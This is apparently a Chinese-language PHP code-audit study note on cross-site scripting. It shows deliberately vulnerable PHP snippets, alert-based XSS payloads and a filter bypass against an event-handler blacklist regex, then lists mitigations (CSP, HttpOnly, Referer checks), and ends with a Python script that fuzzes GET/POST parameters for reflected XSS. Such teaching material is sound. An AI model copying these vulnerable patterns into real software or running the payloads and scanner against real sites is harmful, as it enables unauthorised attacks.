PHP代码审计笔记--XSS跨站脚本

<?php
    echo $_REQUEST[ 'id' ];
?>

?id=<script>alert(/xss/)</script>

<?php
$a=urldecode($_GET['id']); //接收参数并进行url解码
$b=htmlspecialchars($a);   //HTML ENCODE处理,到这里都是没有问题的
echo urldecode($b);        //最后，url解码输出
?>

id=%25253Cscript%25253Ealert(/xss/)%25253C/script%25253E 

<?php
    $name = htmlspecialchars($_GET['name']);
?>
<input type='text' class='search' value='<?=$name?>'>

?name=222' onclick='alert(/xxs/)

<?php
    $name = htmlspecialchars($_GET['name']);
    $pregs = "/<script>|<\/script>|onclick|oncontextmenu|ondblclick|onmousedown|onmouseenter|onmouseleave|onmousemove|onmouseover|onmouseout|onmouseup|onkeydown|onkeypress|onkeyup/i";
    $check = preg_match($pregs, $name);
    if ($check) {
           echo 'not found';
           exit;
    }
?>
<input type='text' class='search' value='<?=$name?>'>

?name=111' onfocus='alert(/xss/)

<?php    
    echo htmlspecialchars($_REQUEST[ 'id' ]);
?>

1.在输出html时，加上Content Security Policy的Http Header
（作用：可以防止页面被XSS攻击时，嵌入第三方的脚本文件等）
（缺陷：IE或低版本的浏览器可能不支持）
2.在设置Cookie时，加上HttpOnly参数
（作用：可以防止页面被XSS攻击时，Cookie信息被盗取，可兼容至IE6）
（缺陷：网站本身的JS代码也无法操作Cookie，而且作用有限，只能保证Cookie的安全）
3.在开发API时，检验请求的Referer参数
（作用：可以在一定程度上防止CSRF攻击）
（缺陷：IE或低版本的浏览器中，Referer参数可以被伪造）

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urlparse
import urllib
# 使用说明，修改字典即可使用，支持GET、POST等简单XSS验证
# url 支持 * 号  如  http://127.0.0.1/test.php?id=1*3333   payload会替换*号内容
global result_dict
result_dict={}
def get(url,para,payload):
  params={}
  result=urlparse.urlparse(url)
  params=urlparse.parse_qs(result.query,True) 
  if '*' in params[para][0]:
    params[para]=str(params[para][0]).replace("*", payload);
  else:
    params[para]=str(params[para][0])+payload
  m_url=result.scheme+"://"+result.netloc+result.path
  data = urllib.urlencode(params)
  geturl = m_url+'?'+data
  response = requests.get(geturl)
  result_dict[payload]=[response.content,len(response.content),response.status_code]
  return result_dict
def make_get_resule(url,para):
  with open('on.txt') as f:  
    for payload in f.xreadlines():
      payload =payload.strip()
      if '#' in payload or len(payload)==0:
        pass
      else:
        get(url,para,payload)
        result_analysis(payload)   
def post(url,data,para,payload):
  params={}
  params=urlparse.parse_qs(data,True) 
  if '*' in params[para][0]:
    params[para]=str(params[para][0]).replace("*", payload);
  else:
    params[para]=str(params[para][0])+payload
  response = requests.post(url,data=params,timeout=5)
  result_dict[payload]=[response.content,len(response.content),response.status_code]
  return result_dict
def make_post_resule(url,data,para):
  with open('on.txt') as f:  
    for payload in f.xreadlines():
      payload =payload.strip()
      if '#' in payload or len(payload)==0:
        pass
      else:
        post(url,data,para,payload)
        result_analysis(payload)
def result_analysis(payload):
  if  payload in result_dict[payload][0]:
    print "[+]" + payload +"  ok"
  if  result_dict[payload][0].count(payload)>1:
    print "[+]" + payload +"  repeat"
if __name__ == '__main__':
  result_dict={}
  methodselect = raw_input("[?] Select method: [G]ET or [P]OST (G/P): ").lower()
  if methodselect == 'g':
    url = raw_input("Please input url:")
    para = raw_input("Please input para:")
    if 'https://' in url:
      pass
    elif 'http://' in url:
      pass
    else:
      url = "http://"+url    
    make_get_resule(url,para)
  elif methodselect == 'p':
    url = raw_input("Please input url:")
    data = raw_input("Please input data:")
    para = raw_input("Please input para:")
    if 'https://' in url:
      pass
    elif 'http://' in url:
      pass
    else:
      url = "http://"+url
    make_post_resule(url,data,para)